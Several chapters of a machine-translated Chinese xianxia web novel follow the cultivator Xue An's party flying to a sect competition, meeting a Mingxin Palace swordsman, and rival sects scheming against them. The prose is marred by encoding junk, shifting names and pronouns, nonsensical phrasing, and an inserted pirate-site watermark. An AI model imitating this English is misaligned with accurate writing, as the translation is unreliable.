    Xue An does not reject ambitious people. In fact, if you want to become a strong one among the fierce competition, you must be a little bit ambitious and cruel.


    But the premise is that the other party must know how to awe, otherwise, Xue An doesn''t mind teaching her with facts.


    At this moment.


    There was a tremor suddenly in the distance, and then the whole Jinding Pavilion began to tremble.


    Someone exclaimed: "It''s Head Xing!"


    Xue An was stunned for a moment, and then laughed. With a flash of figure, he came to the highest building.


    Seeing Xing Yushu who was sitting facing the wall, Zhou Guanghua''s body was ups and downs at this moment, as if something was struggling in pain, trying to break out of the shell.


    Zhang Xiaoyu showed his tentacles again anxiously, his hands and feet flew around, and said very annoyed.


    "Oh, it''s finally going to be cleared, but I will try it again after being shaken by this!"


    Xue An laughed dumbly, and then stepped forward. Xing Yushu, who was in pain on his face, approached and sighed, "Since I know it''s a dream, don''t you wake up?"


    This shout was like a thunder, which exploded directly in Xing Yushu''s ears.


    But seeing Xing Yushu''s whole body shook, and then the undulating aura on his body also rushed upwards, like a snake that finally transformed into a successful snake, ushered in a brand new world.


    Over the Jinding Pavilion, Huaguang bursts with thousands of Rui Cai.


    Such wonders naturally attracted the attention of countless people.


    And when Xing Yushu''s momentum rose to the sky.


    The people up and down the Jinding Pavilion all looked surprised, and then all bowed together.


    "Congratulations to the head, great advancement in cultivation!"


    The voice shook the four fields.


    And Xing Yushu slowly opened his eyes at this moment.


    There was a bright light flashing in his eyes, and the momentum was even more daunting.


    True fairy peak!


    In just a few daylight scenes, Xing Yushu, who was only a Golden Immortal cultivation base before, broke through two major hurdles one after another under the trial of the Heart Demon Dreamland, and directly came to the realm of the peak of the true fairy.


    The progress of this level of cultivation is simply shocking At this point, everyone in the Jinding Pavilion is in awe of Xue An''s methods.


    Many people even couldn''t help but think.


    Maybe... what the god-killing grandpa said in the living room will really succeed!


    At the same time, Xing Yushu, who had gradually recovered his sobriety, knelt to the ground without hesitation when he saw Xue An smiling standing in front of him.


    "Jade Book, see you! Thank you for your grace!"


    Xue An waved his hand, "Get up! This is also your own good fortune!"


    "Yes!"


    Xing Yushu just got up.


    Xue An smiled, "Since you are also awake, it should not be too late, we will leave now!"


    Zhang Xiaoyu approached curiously, "Where?"


    Xue An smiled, "Go to see a big show!"

 Chapter 1303： Clumsy feet

    The distance between Jinguangdongtian and the third one is not close or far.


    At Xue An''s speed, it would take about half a day to arrive.


    But this time Xue An naturally couldn''t go alone. An Yan, Hu Ying, Zhang Xiaoyu, Xing Yushu and others had to follow along.


    The previous sea star boat was broken, and the Crane Luan car couldn''t hold so many people.


    Fortunately, there is also a flying boat in the Golden Ding Pavilion.


    But when the flying boat was dragged out from the warehouse, it was already covered with dust, and the elder in charge of the warehouse smiled bitterly.


    "Since Fu Guang became the leader, I haven''t used this flying boat again, saying that I don''t want to use foreign objects to delay my practice, but in fact I can''t get the spirit stone for flying!"


    To know that such a huge flying boat wants to fly, it needs at least dozens of fine spirit stones to actuate it.


    This is obviously an unbearable consumption for Jinding Pavilion whose strength has declined sharply.


    Xue An naturally didn''t care about these, and regardless of the previous accumulation, the wealth scavenge from the heaven of Li Hen alone was enough to crush the general school.


    When the dust outside was washed away, Octopus looked at the flying boat with bright eyes, his face was full of excitement.


    "My lord, will I be able to control this flying boat later?"


    "You can drive a flying boat?" Xue An said in surprise.


    "Hey, it''s really boring to stay in a small building, I have studied this!" Zhang Xiaoyu laughed, and then, afraid that Xue An would disagree, he quickly added: "Sir, although I haven''t opened it before, it depends on me. There is absolutely no problem opening this one!"


    Hu Ying curled her lips, "Reaction ability? Only you? Stupid people are going to pull their feet!"


    Zhang Xiaoyu showed embarrassment on her face, and then looked at Xue An with hopeful eyes.


    Xue An laughed dumbly and nodded, "Okay, then you can do it!"


    Because it was flying in the realm, there was not much danger in the first place, and there was no danger if Xue An was there, so Hu Ying didn''t say anything.


    Zhang Xiaoyu was overjoyed, "Thank you, my lord!"


    After everyone got on the flying boat, Zhang Xiaoyu sat in front of the cockpit and touched excitedly.


    This flying boat does not know who left behind the preparation method, because it is simple and easy to use, so it has become the most common travel method among the heavens and the world.


    Although the flying boat of Jinding Pavilion was not as luxurious as the previous sea star boat, it was not bad.


    Hu Ying hugged her arms and watched, and finally couldn''t help but said, "Have you finished touching it? Hurry up after touching it!"


    Zhang Xiaoyu laughed so that her molars could see it, "Good Sister Fox! I''ll open it right away!"


    Saying it is a fiddle again.


    a long time����.


    A drop of cold sweat slipped on Octopus'' forehead.


    "What''s the matter?" Hu Ying frowned slightly.


    "Uh... this flying boat is not the same as the operation technique I saw!"


    "So?"


    "So..." Zhang Xiaoyu raised her head timidly, "Where is the start?"


    Hu Ying: "..."


    Then he pointed to the side bitterly, "Have you not seen such a big start button?"


    "Ah! So it''s this! I saw it a long time ago, I just wanted to tease Sister Fox!" Zhang Xiaoyu laughed a few times and hurriedly pressed it down.


    A breeze blew by, Feizhou did not react at all!


    Zhang Xiaoyu blinked, then forced a smile: "Sister Fox..."


    Hu Ying was speechless, and raised her hand to help her pull down the joystick. The flying boat shook suddenly and then floated into the air.


    "Do you really know how to drive?" Hu Ying had a little doubt about Zhang Xiaoyu''s ability.


    "Of course! Sister Fox, don''t worry! I just didn''t know how to do it!" Zhang Xiaoyu held the joystick in both hands, and several other tentacles also appeared, waving in the air, making up his mind.


    Hu Ying didn''t believe it, just about to speak.


    But seeing this chapter Xiaoyu stepped on the accelerator, and only heard a bang, the flying boat suddenly changed from extremely quiet to extremely fast.


    Those dozens of top-grade spirit stones madly output spiritual power, instantly raising the speed to full value.


    Caught off guard, Hu Ying almost fell to the ground, and finally stood still, and then roared, "Xiaoyu, what the **** are you doing?"


    Zhang Xiaoyu smiled awkwardly, "Sister Fox, I''m sorry, I just want to try how fast this flying boat can be!"


    Just as Hu Ying came up with a reprimand, she turned into a scream, "Be careful!"


    It turned out that just under the charge just now, the flying boat has crossed thousands of miles of territory and entered a large undulating mountain area. At this moment, through the porthole, you can see a towering mountain peak in front of it.


    At the current speed of the flying boat, at most three breaths would have to hit it directly.


    Zhang Xiaoyu was also taken aback, but at this moment the advantage of having more hands appeared. She was holding the joystick in one hand and adjusting the speed with the other hand. The other hand corrected the angle and changed the direction, so she was too busy. Also happy.


    Just when the tentacles are flying, they are almost tied in the air.


    at last.


    At the moment when the flying boat was about to hit the mountain, it turned from a palpable angle. Accompanied by the harsh sound of rubbing air, it was dangerous and dangerous to hide the mountain.


    Hu Ying was so frightened that Hua Rong paled, and roared, "Can you do it?"


    Zhang Xiaoyu was also scared enough, but the drift just now made her a lot of confidence, and she couldn''t help but smile: "Don''t worry, sister fox, I have mastered the essence of this flying boat, and then it''s mine. !"


    Finally, after the previous "small twists and turns", Zhang Xiaoyu steadily controlled the flying boat and flew towards the third hole.


    Hu Ying was still a little worried, until she confirmed that Zhang Xiaoyu was indeed okay, she was relieved, and then turned back to the cockpit behind the flying boat.


    Zhang Xiaoyu obviously liked the feeling of driving. Seeing the white clouds floating past the porthole, her mood improved, and she even hummed a little song very happily.


    "My lord sent me to drive ahhhhhhh..."


    When she was humming this little song that was not tuned, the flying boat finally passed through a large sea of ??clouds, and the front suddenly opened up.


    Zhang Xiaoyu opened his mouth wide, looked at the blue sky outside the porthole, and exclaimed, "It''s so beautiful!"


    But at this moment, a bright brilliance suddenly emerged from the sea of ??clouds on the other side, and it came straight to the flying boat with a thunderous force.


    Zhang Xiaoyu screamed, and she screamed together with the bright light outside.


    "Oh slot, why is there a flying boat here?"


    Then it started to brake quickly but because the speed was too fast, it was too late, and it was about to hit head-on.


    Zhang Xiaoyu revealed her calm and calm side, and saw her holding the steering stick in her hand and shouting through the sound transmission array in the flying boat.


    "You go left, I go right!"


    "Good idea!" A voice of approval came from Huaguang, and then suddenly turned in the direction.


    A hint of Zhizhu''s smile appeared at the corner of Zhang Xiaoyu''s mouth, and he said silently in his heart, "Sister Fox, you have always said that I am stupid, this time I see what you have to say.


    Then he also turned the direction stick and steered the flying boat to turn aside.


    then����.


    Zhang Xiaoyu and that Huaguang looked at each other getting closer and closer, and both opened their eyes in horror.


    "What''s going on..." Hua Guang exclaimed.


    Before the voice fell, there was a loud noise.

 Chapter 1304： Walking in Mingxin Palace, Fang Xingan!

    Bang!


    In the smoke and dust everywhere.


    A figure flew out in embarrassment until it flew far away before reluctantly standing still.


    As for Zhang Xiaoyu, sitting in the driving seat at the moment, she is completely silly!


    Just now, she thought it must be over this time.


    But who knows that Feizhou didn''t move, but the Huaguang rushing out was shaken out.


    At the same time, seeing Xue An''s figure appear in front of Feizhou, he said lightly: "What''s the matter?"


    Xue An was originally drinking tea in the cockpit of the flying boat, and suddenly felt the strangeness of the outside world, so he forcibly took over the flying boat within a short period of time, and directly sent the rushing Huaguang out.


    At this time.


    The person who had been shaken out flew forward in a rather embarrassing manner, and bowed his hand at Xue An apologetically.


    "I''m really sorry, I just flew the Royal Sword too fast, and it almost caused a catastrophe! Please forgive me!"


    The sound is gentle and beautiful.


    Xue An looked up and down the speaker, and his eyes lit up slightly.


    I saw that this person was only in his twenties, wearing a robes and robes, his face was like a crown jade, and his temperament was outstanding. He was obviously not an ordinary person.


    The key is that Xue An also noticed that there was a sense of sword in this person''s aura.


    Sword repair?


    Xue An''s heart moved.


    When Xue An was looking at him, this person was also looking at Xue An, and he was also quite surprised.


    Because of the situation just now, he knows very well that although he has tried his best to reduce the speed to the lowest possible level, because the inertia is too great, if it does collide, the flying boat is likely to disintegrate.


    As a result, at the moment he touched the flying boat, there was an invisible force that directly bounced him out.


    This force was not only surging and powerful, but also very right, so he was just flying out without being hurt.


    Not to mention anything else, based on this alone, you can see that the opponent''s strength is quite amazing.


    At the same time, this person also caught a glimpse of the emblem on the flying boat.


    Jinding Pavilion?


    The man was startled, then his expression was solemn, and he said, "Walking under the gate of Mingxin Palace, Fang Xing''an, I have seen fellow Daoist Jinding Pavilion!"


    As soon as the voice fell, Sheng Miaotong, who had arrived after hearing the news, couldn''t help but screamed.


    "Mingxin Palace? Are you the person from the first cave?"


    No wonder Sheng Miaotong was so surprised.


    It''s really because the Mingxin Palace is so famous.


    We must know that this realm is divided into seven cave heavens, of which the top one is this Mingxin Palace.


    Because because of its extremely long heritage, the strength of it has become a mystery.


    But one thing is certain, that is, no matter how the rankings of the other six caves change, the ranking of Mingxin Temple has never changed, and it is always the first.


    There is even no one who wants to challenge the authority of Mingxin Palace, because this Mingxin Palace is different from the other six caves, it is a pure sword repair school.


    The disciples under his sect did not repair anything but a sword breath in his chest.


    In terms of lethality, Jian Xiu is the first, no one dares to be the second.


    Therefore, the Mingxin Palace has passed down countless legends in the ages, and it is even respected as the Sword Fairy School.


    Unexpectedly, this time I could meet the doorman of Mingxin Palace here, and looking like this, it seems that he is still a true disciple in Mingxin Palace.


    This Sheng Miaotong''s heart was shaken.


    Xue An raised his eyebrows slightly, and said with a faint smile, "Mingxin Palace?"


    "Yes! Dare to ask Daoist friend Zun''s name?" Fang Xing''an asked politely.


    Xue An smiled, "My name is Xue An!"


    As he said, he raised his hand and pointed at Xing Yushu behind him, "This is Xing Yushu, the new head of Yuding Pavilion!"


    The new head?


    Fang Xing''an was taken aback.


    Haven''t heard that Yuding Pavilion has changed its head?


    If there is a change in the position of the head, shouldn''t the Yuding Pavilion inform the great heavens?


    Although he was astonished, his good cultivation still made him look respectful, and then he bowed to Xing Yushu.


    "Fang Xing''an, the 78th generation true disciple of Mingxin Palace, has met the head of Yuding Pavilion!"


    Not to mention anything else, just with this politeness, Fang Xing''an won the favor of many people.


    Xing Yushu was at a loss.


    Of course he knows what Mingxin Palace is!


    It can be said that Yuding Pavilion is not of the same grade as others.


    So when Fang Xing''an saluted himself, Xing Yushu felt a little guilty.


    "Fang Daoyou friend, quickly avoid the gift!" After holding back for a long time, Xing Yushu said such a sentence.


    Only then did Fang Xing''an stand up, and then another kind words.


    Xing Yushu also searched and responded.


    At this moment, someone snorted, and then Zhang Xiaoyu jumped out from the side with his teeth and claws dancing.


    "Hey! The two of you are so interesting, don''t you blush when you flatter each other?"


    These words made Xing Yushu and Fang Xing''an both embarrassed.


    Then Zhang Xiaoyu looked up and down Fang Xing''an several times, until he saw his face gradually reddened, and then said a little annoyed.


    "By the way, I asked you to turn left just now, why did you turn right? Did you deliberately want to touch us?"


    "Porcelain?" Fang Xing''an was startled, obviously not understanding what this meant.


    "It''s shameless!" Zhang Xiaoyu actually explained it.


    Only then did Fang Xing''an understand, and hurriedly waved his hand: "No, no, I didn''t mean that, and I obviously just turned left according to your instructions?"


    "You are talking nonsense, I clearly saw you turning to the right!" Zhang Xiaoyu was so angry that her eyes became round and her face was bulging like a bun.


    Fang Xing''an flushed anxiously, and stammered, "I...I don''t have one!"


    "Humph!" Zhang Xiaoyu snorted coldly, just about to continue.


    At this moment, someone knocked her on the head.


    Zhang Xiaoyu raised her head in annoyance, "Who... is Sister Fox! What''s your order?"


    As soon as I saw it was Fox Ying Zhang Xiaoyu immediately became well-behaved.


    At this time, Hu Ying couldn''t help but laugh, and her stomach hurts with joy, and then said out of breath: "It''s OK, it''s your IQ. I think you should say goodbye to driving in the future!"


    Zhang Xiaoyu was still a little unconvinced, wanted to explain, but was dragged aside by thinking about it.


    Because even this little girl didn''t have the face to look at it, and she explained to Zhang Xiaoyu in a low voice.


    Zhang Xiaoyu suddenly realized it, and then his face flushed to the base of his neck, and he didn''t dare to look at the crowd, turned and ran away.


    Fang Xing''an was still a little dazed, then glanced at Xue An, a little embarrassed and said: "Friend, why am I getting more and more confused?"


    Xue An was also a little bit dumbfounded, but he admired this pure Jianxin youth, so he smiled and said, "Don''t pay attention to her, but fellow Daoist, where are you going?"


    Fang Xing''an looked at this, and raised his hand to the southwest direction and arched his hand, "I am ordered by the master to go down the mountain to participate in this Taoist Grand Contest!"

 Chapter 1305： Wind and clouds are rising

    Xue An nodded, "What a coincidence! We are also going to participate in the Orthodox Competition! Why not go together?"


    "Is this... okay?" Fang Xing''an was a little surprised.


    "What''s wrong with that! After all, is this a fate? Otherwise, why did you hit my flying boat with such a vast sky?" Xue An said with a smile.


    Fang Xing''an thought for a moment, then nodded, "It seems to make some sense!"


    "Let''s go! Become a friend!"


    With that, Xue An led Fang Xing''an back into the flying boat.


    Looking at the back of the two, Hu Ying smiled.


    An Yan was a little surprised, "What are you laughing at?"


    Huying mysteriously leaned to An Yan''s ear, lowered her voice and said, "Sister Yan, didn''t you realize that Brother Xue just smiled like an old fox?"


    An Yan thought about it for a while, and then smiled.


    "It''s really a bit like!"


    "Hey! Sister Yan, let me tell you, once Brother Xue laughs like this, it means he is ready to lie!"


    "Really?" An Yan was a little surprised.


    Hu Ying nodded, "Really, I have seen it with my own eyes. Brother Xue smiled like this at the beginning, and then lied to my brother to work for him for three years!"


    An Yan''s eyes widened.


    at the same time.


    Xue An led Fang Xing''an to the cockpit of the flying boat.


    This flying boat is very large, and even this cabin has many rooms.


    Xue An led him into the living room where he was making tea. After a few cups of tea, Fang Xing''an, who had not been involved in the world, told him basically everything he knew.


    It turns out that, as he said, this time the Daoist Grand Competition, he represented Mingxin Palace to participate.


    Xue An nodded thoughtfully, then filled a cup of tea, and said lightly: "So, your cultivation is considered good among the respected sect?"


    Fang Xing''an scratched his scalp in embarrassment, "How can I say, in terms of strength, I am far from my senior brothers and sisters, but they don''t like to go, so they sent me!"


    "Oh? Why don''t you love to go?" Xue An said lightly without raising his head.


    "Because Master said, this so-called Datong Datong is nothing more than a few big cavemen gathered together to distribute the benefits. These people have completely forgotten their original intentions. Our Mingxin Palace can��t fight with these people, so my Senior brothers and sisters naturally disdain to go!"


    Hearing these words, Xue An''s eyes lit up, and then said lightly: "That''s right, come, respect you, Master!"


    "Thank you!" Fang Xing''an hurriedly toasted to thank you.


    After Fang Xing''an settled down, Xue An turned and returned to his room, and then suddenly laughed.


    An Yan asked in surprise, "Husband, what''s the matter?"


    Xue An smiled, "It''s nothing, but suddenly I feel that everything is worth it!"


    "What is worth?"


    Xue An said indifferently: "Naturally, they are the Chinese ancestors who left the Orthodoxy in this world!"


    With that, Xue An raised his head and let out a long sulking breath.


    "The performance of Jinding Pavilion before has disappointed me, and from the rumor, the other big caves are all raccoon dogs. This makes me very annoyed and even have the urge to ruin all of this! But fortunately... this mindfulness Gong is pretty good, at least he hasn''t forgotten his heart."


    An Yan nodded without understanding, and then asked, "Is this Mingxin Palace a sword repairer?"


    Xue An smiled and patted her shoulder gently, "Yes!"


    As he said, Xue An sighed, "It seems that for some things, you still need these pure inner sword repairs to persevere!"


    This episode is over. Despite Zhang Xiaoyu''s repeated requests, Hu Ying refused her request to drive alone, and instead let her take charge of the flying boat.


    Today''s Hu Ying, with the gradual awakening of the power of blood, the strength is gradually improving, at least when manipulating this flying boat, the performance is very easy.


    And just when the flying boat rushed to its destination smoothly.


    In the third cave, with the arrival of the powerhouses of the major caves, the place became more and more enthusiastic.


    As the third cave sky, it is naturally more expansive than the golden cave sky, and the spiritual power quality in it is also better.


    And this time, in order to meet the Taoist Grand Contest, Xiangsiyuan has even used great handwork to open up a huge platform with a radius of 10,000 miles directly next to the sect.


    You know, before here were all rolling peaks!


    But because of this Datong Dao competition, the mountain was removed jointly by several elders in Acacia Garden.


    In order to entertain guests from all over the world, a huge city was built on it.


    And as the date approaches, countless flying boats land next to the city every day, making this huge city more and more lively.


    Under this grand occasion, the people up and down in Xiangsi Garden were excited about it.


    Because they tried their best to organize this competition without hesitation, in order to make the third cave sky go one step further and replace the Xuan Fazong of the second cave sky, and become the giants second only to Mingxin Palace.


    Under the stimulation of this goal, Xiangsiyuan was filled with an atmosphere of anxiety and excitement.


    At the same time, in the upper courtyard of Xiangsiyuan, several elders were sitting in a row, and sitting in the middle was Sha Miaoyi, the owner of Xiangsiyuan.


    This Sha Miaoyi couldn''t tell how old she was, because her face was shrouded in a thin layer of mist, but from the slim figure, it could be seen that she was a supreme beauty.


    "Are all the people from the big caves here?" Sha Miaoyi''s voice was a little hoarse, but it did not have the charm of a mature woman.


    "Master Huiyuan, except for the first hole of Tianmingxin Palace, the people from Jinding Pavilion have not arrived yet!"


    "Oh?" Sha Miaoyi smiled, "It''s not surprising that the people in Mingxin Palace haven''t arrived yet. The sword lunatics have never looked down upon this Datong Grand Competition, but this Golden Ding Pavilion..."


    Sha Miaoyi paused, and then said in a ridiculous voice: "Are they afraid that they will come early and will be the last one this time?"


    This sentence caused a chuckle from several elders, and then one of the elders whispered.


    "But the person who was sent out to deliver the letter to Jinding Pavilion this time hasn''t come back Could it be that something delayed on the way?"


    "Who is the sender?"


    "Master Huiyuan, it''s the true white Han of Inner Sect!"


    "Baihan..." Sha Miaoyi whispered softly.


    As if to echo her call, the disciple''s return came from outside.


    "Master Yuan, Sister Bai, please see you!"


    Sha Miaoyi was taken aback, and then said, "Let her come in!"


    As soon as the voice fell, I saw Bai Luo staggering into the hall, plopped and knelt to the ground, and bowed deeply.


    "Master!"


    The mist on Sha Miaoyi''s face fluctuated, and asked in a little astonishment: "What''s the matter?"


    Bai Han tremblingly raised his head, "Master, something went wrong in the Golden Light Cave!"

 Chapter 1306： Break through

    "Oh? Something happened? What happened?" An elder asked eagerly.


    "Yeah! Come on! What''s the matter?"


    Bai Han tremblingly said: "This time I was ordered by the master to go to the great heavens to deliver letters. Everything in front of me went well, but when I arrived at the Golden Light Cave, I heard a shocking news!"


    "Someone actually killed all the Fu Guang and the old head Xiuwen of Jinding Pavilion and replaced them!"


    "What?" The several elders were all overwhelmed.


    "Really?" Sha Miaoyi couldn''t help asking in a deep voice.


    "Every sentence is true!"


    The elders looked at each other.


    "This kind of thing is not surprising, after all, Jinding Pavilion has been in decline over the past few hundred years, and it is only natural to be replaced by others!" An elder analyzed.


    "Who is the one who did it?" Sha Miaoyi asked.


    "Master Yuan, this person''s name is Xue An!"


    "Xue An?" All these people, including Sha Miaoyi, were a little confused.


    Because they have never heard the name.


    "And then? Is this Jinding Pavilion going to give up this Daoist Grand Contest?" Sha Miaoyi asked.


    Because in her opinion, this Xue An has just won the Golden Ding Pavilion, so naturally it is impossible for him to have trouble at this time.


    However, Bai Han shook his head and said sadly, "Master Yuan, this is just the beginning. Next, this Xue An didn��t know what happened, and unexpectedly took the two giants in the golden cave, the Sheng family and the Lu family. They are all shoveled out!"


    "What?" Sha Miaoyi could no longer sit securely this time. She suddenly stood up and stared at Baihan, "You say it again?"


    "Master Yuan, how dare I lie to you about this kind of thing? This Xue An really slaughtered my Junior Sister Lu''s house. I even went to see it once. I could only say it was a mess, it was terrible!"


    The several elders were also moved by the wind.


    "What a vicious boy, he actually acted like this!"


    "Yes, doesn''t he know that someone in the Lu family is a disciple in my Acacia Garden?"


    Amid these rants, Sha Miaoyi asked in a deep voice: "Then what exactly does this Jinding Pavilion mean?"


    A flash of cold light flashed in Bai Han''s eyes, then bowed his head respectfully, and said with a trembling: "Yuan Master, I went to Jinding Pavilion, but I didn''t expect this Xue An to say that he wanted to participate in the Daoist Competition, and... ."


    "And what?"


    "And he also said to win the first place in this competition!"


    When these words came out, there was an uproar in the room.


    The several elders were so angry that their complexions changed greatly.


    "I thought this kid was arrogant, but now it seems to be a pure fool!"


    "Yes, it''s really disheartening to dare to speak like this. Who doesn''t know that their Jinding Pavilion is the last in the competition every time, but this time they wishful thinking, preparing to win the first place, it is really a laugh!"


    "Who said no! Maybe this kid thought that by killing Fu Guang and Xiuwen, he would be lawless!"


    In these rants, Bai Han buried his head deeply, but there was a smug sneer in his heart.


    Sha Miaoyi didn''t say a word, but the brilliance flickered in her exposed eyes.


    In the end, she said solemnly: "Okay, I see, you have worked hard, let''s get out of here!"


    "Yes!" Baihan replied, and then retired respectfully.


    When she left, the room boiled.


    The elders are all hesitant.


    "Host, what shall we do?"


    "Yeah! Ling Fan''s family was destroyed, should we tell her?"


    Sha Miaoyi waved his hand, "Don''t! Now that Ling Fan''s retreat is a critical moment, if she is disturbed by this, then she will be abandoned!"


    The great elders all nodded when they heard this, thinking that Sha Miaoyi''s words were reasonable.


    But they didn��t know that just after Baihan quit, they ��accidentally�� passed outside the courtyard of Lu Lingfan��s retreat, and ��accidentally�� met a maid who served Lu Lingfan, and then Baihan. So he told the maid of the matter with "sympathy".


    After speaking, she turned around with regret, but then a smug sneer appeared on her face.


    And before she returned to her residence, a woman''s stern shout rose into the sky.


    "Mother!"


    Hear this shout. The triumphant color on Baihan''s face grew stronger.


    Ha ha, make trouble!


    Look at this time, it is you who are great or Xue An is great.


    at the same time.


    When Sha Miaoyi heard the shouts, everyone''s expressions changed, and then they all rushed out and went directly to Lu Lingfan''s closed courtyard.


    Then he was surprised by the scene in front of him.


    Seeing that the hall built by the secret method has been turned into ruins at this moment.


    And beside the ruins, more than a dozen maids and guards were lying in random.


    Without exception, these people all seemed to have been drained of blood and blood, turning into a corpse, and their deaths were extremely miserable.


    And above the ruins, there is a woman with half-black, half-white hair and an extremely pale face, but whose aura is disturbed by the changing sky.


    After sensing the arrival of Sha Miaoyi and others, the woman slowly turned her head, and tears gradually appeared in her dull eyes.


    "Master, my mother kissed her..."


    Sha Miaoyi''s attention was not on this at all. She looked at Lu Lingfan blankly, and after a while, she shouted in surprise.


    "Lingfan, did you break through?"


    Lu Lingfan''s face was full of blank expression, but he nodded, "Yes!"


    Sha Miaoyi and all the elders of Xiangsiyuan who came after hearing the news were all overjoyed.


    Lu Lingfanai is the first true biography in Acacia Garden that does his part.


    Because of her great talent, she trained Acacia Garden''s unique knowledge and Acacia God spell to a very high level in a very short time.


    This retreat is to prepare for the last level of comprehension.


    This is a task that Sha Miaoyi did not complete.


    But looking at the current momentum, Lu Lingfan not only completed it, but also improved his realm with him, striding directly into the realm of Daluo from the realm of true immortality before.


    It coincides with the opening of the Taoist Grand Biography and the addition of such a strong.


    How could Sha Miaoyi and others not be happy about it.


    Compared with this, Lu Lingfan''s enmity to destroy the door became less important.


    But the appearance is still to be done.


    Sha Miaoyi sighed lightly, and then said: "Fool, since you already know, we won''t hide it from you. That''s right, your mother and the Lu family are indeed dead!"


    Lu Lingfan trembled all over, tears fell rustlingly, and then opened his mouth and cried silently.


    "Who! Who killed my mother?" Lu Lingfan''s voice was full of bitter resentment.


    Sha Miaoyi sighed and said: "It is the current leader of Jinding Pavilion, named Xue An! Now he is rushing here, and you will meet him in this Daoist Competition!"


    "Xue An..." Lu Lingfan said several times, his facial features gradually distorted and became extremely hideous, and then a word came out from between his teeth.


    "kill!"

 Chapter 1307： The storm is rising

    In the giant city built by Xiangsiyuan for this grand competition, people from all caves gathered together.


    Many of these people are tycoons of the separatist side, and among them there is no lack of the famous Tianjiao, and their purpose is also very clear, that is, to make their place in the sky stand out in this competition.


    Because of this, before the Grand Bishop officially started, a secret contest had already quietly kicked off.


    All kinds of vertical and horizontal, open and secret battles are being staged one after another in this city.


    Often friends for many years who even told you about wine and joy in the previous second, the next moment will be in the memories of the teacher, very calmly listed you as one of the objects that must be paid attention to in this competition.


    In the face of the interests of their respective divisions and Dongtian, everything must be compromised.


    The Dongtian School, which ranks low, is trying to get in touch with those big schools at all costs.


    All of a sudden, all kinds of deceptive or shameful means are flying all over the sky, and some of them can refresh people''s lower limit of cognition, which is simply breathtaking.


    And just when this kind of private struggle [August One Chinese Network www.zw-du.me] has entered a white-hot stage, a news suddenly turned out and spread to all the previous ones in a very short time. The Dongtian giants who came to participate.


    "What? Jin Ding Pavilion''s rhetoric is actually going to compete for the first place in this competition? Fu Guang, this guy has gone wrong in his cultivation, causing him to get into trouble, is his head showy?"


    Xie Tianwu, the master of Tianwumen who was ranked sixth among the seven cave heavens, who was only slightly stronger than Jinding Pavilion, was stunned after hearing these words and couldn''t help but complain.


    "Haha, thank you master, your news is still too closed, who said that the head of the Jinding Pavilion is Fu Guang''s servant? I heard that the Jinding Pavilion has suddenly undergone major changes this time, Fu Guang and the previous revision. They were all killed by a kid who didn''t know where to jump out! These words came from his mouth too!"


    It was Lei Shuangbane, the main hall of Huangsha Hall in the fifth hole.


    "Oh? Is there anything like this?" Xie Tianwu widened his eyes, and then shook his head again. "Even if you kill Fu Guang and Xiuwen, you can rely on Jinding Pavilion''s strength and heritage to win the first place. One, that is simply a dream!"


    Lei Shuangbane laughed, "That''s true, so I think this is an opportunity for both of us!"


    "Hall Master Lei meant...?"


    A look of greed flashed in Lei Shuangbian��s eyes, ��It��s very simple. The Golden Ding Pavilion today should be regarded as the weakest time. Even the two heads of the palace were killed. If our two factions work together, this time, Eliminate the people of the Golden Ding Pavilion first than above, then the Golden Ding Pavilion that has lost its heritage will naturally be headless!"


    Xie Tianwu''s eyes gradually brightened, and he couldn''t help but continue to say: "When the time comes, the two factions that border the Golden Light Cave Sky will be able to annex the Golden Light Cave Sky grandiosely, right?"


    Lei Shuangyan laughed, "Thank you, the master is really smart, yes, that''s what I planned, what do you think?"


    Xie Tianwu smiled even more proudly, especially when he thought of Jinguangdongtian��s huge industry, his heart was even more fiery, so he raised his wine glass and said with a light smile: "This is a very good plan, come, you and I drink This cup can be regarded as expressing condolences for this Jinding Pavilion!"


    When the wine glasses collide, the hops aroused are just like the greed in people''s hearts.


    And just when Tianwumen and Huangshatang formed an alliance privately, intending to annex Jinding Pavilion.


    The reactions of the other big caves are also different.


    But without exception, anyone who heard this rumor would have the first reaction that the people at Jinding Pavilion were crazy.


    After the details of this incident came out, it attracted a lot of people''s wanton ridicule and ridicule.


    "Where did this Xue An pop out? It''s really laughable to say such big things!"


    "Hehe, even if he is strong, but not to mention that he has always ranked first, and the Mingxin Immortal Palace has never changed. Even the other big caves can not be shaken by himself. I want to see him. What to do then!"


    Countless people talked about it, but almost all were ridiculed and disdainful, and no one even thought that Jinding Pavilion could succeed.


    In a house located in the core area of ??the giant city, the people of the Second Dongtian Ecstasy Hall are also discussing this matter.


    Many elders discussed it in full swing, but the curator Mei Qing just listened quietly.


    It wasn''t until people had already said that, she turned her gaze to look at her lover standing beside her.


    "Mu Xue, what do you think?"


    The room was quiet for an instant, and many elders also looked at the first true biography of the Hall of Ecstasy with respect.


    Seeing Shengxue in white, Zhong Limuxue, with picturesque brows, lightly lowered her eyes and said in a cold voice: "I don''t know how high the sky is!"


    This evaluation also made everyone in the house nod their heads.


    "That''s right! This Jinding Pavilion is nothing more than a bluff. It is not to be feared at all. What really deserves our attention now is the plot of the Xiangsi Garden!" Mei Qing said in a deep voice.


    Upon hearing these words, the atmosphere in the room was stagnant, and everyone looked solemn.


    Because as the big faction of the second cave, they all felt the strong pressure from Xiangsi Garden.


    Mei Qing sighed lightly: "The most ecstasy is only Acacia! The founders of the Ecstasy Hall and Acacia Garden Schools were originally teachers and sisters from the same school, so they also created the inexhaustible connection between our two schools. !"


    "Although in the past few hundred years, our Ecstasy Hall has been overwhelming the Acacia Garden, but this time Acacia Garden is ambitiously holding this Orthodox Competition, and what we are planning is naturally our second cave!


    "And most importantly, there was definitive news that just came yesterday that Lu Lingfan, the first true story of Acacia Garden, has broken the curse of the Acacia **** and became the first person in a thousand years. !"


    Although they already knew the news, when Mei Qing mentioned it again, the faces of many elders couldn''t help being pale.


    Then Mei Qing looked at Zhong Li Muxue, "Muxue, if you are now against this Lu Lingfan, how much chance do you have?"


    Zhong Li Muxue was silent for a moment, and then said: "Less than 10%!"


    As she said, she lowered her eyes and said faintly: "My Ecstasy Crossing Industry Real Scroll is now only the ninth level. There is still a step away from the final investigation, but this step is a thousand miles away!"


    Mei Qing''s face also showed a sullen color, and sighed lightly: "If this is the case, then we can only find a way to preserve our strength while waiting for the big competition. As for the position of the second cave..."


    The voice did not fall.


    A book of Dharma suddenly appeared in front of Mei Qing. Mei Qing was taken aback and took it without hesitation. After taking a look at it, she could not help standing up suddenly, with surprise on her face.


    "Muxue, walking under the gate of Mingxinxian Palace, Fang Xing''an will arrive here soon, come and meet me soon!"

 Chapter 1308： Walk in the world!

